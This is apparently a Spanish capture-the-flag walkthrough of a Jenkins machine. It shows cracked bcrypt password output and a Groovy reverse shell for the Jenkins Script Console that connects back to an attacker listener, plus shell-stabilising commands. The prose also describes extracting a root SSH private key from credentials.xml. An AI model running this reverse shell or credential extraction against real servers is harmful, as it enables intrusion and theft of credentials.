Viendo que la home de jennifer es jennifer_12108429903186576833 hacemos lo siguiente...
Info:
Por lo que se ve el usuario es jennifer y la password es un hash, para crackear ese hash hacemos lo siguiente...
Info:
Con estas credenciales nos conectamos a la pagina de jenkins y dentro de la sesion con jennifer hacemos lo siguiente...
Nos vamos a manage de ahi le damos a script console y dentro de esa especie de texto plano introducimos una Reverse Shell de la siguiente manera...
Y seriamos el usuario Jenkins, sanitizamos la shell...
Tendriamos la shell perfecta ya, pero por lo que vemos estamos en un doker por lo que vemos aqui...
Si vamos al siguiente archivo llamado credentials.xml y lo leemos...
Y esa key de root si hacemos lo siguiente para desencriptar esa key tendriamos que ir a la pagina de Jenkins, dirigirnos a la seccion de /Manage Jenkins/Script Console y dentro de este panel debemos de escribir lo siguiente...
Y esto nos da lo siguiente...
Esto es una id_rsa privada de root, por lo que haremos lo siguiente...
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess (?)
1g 0:00:00:00 DONE (2024-05-14 13:14) 4.545g/s 163.6p/s 163.6c/s 163.6C/s 123456..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
User = jennifer
Pass = princess
String host='<IP>';
int port=<PORT>;
String cmd='bash';
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
nc -lvnp <PORT>
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>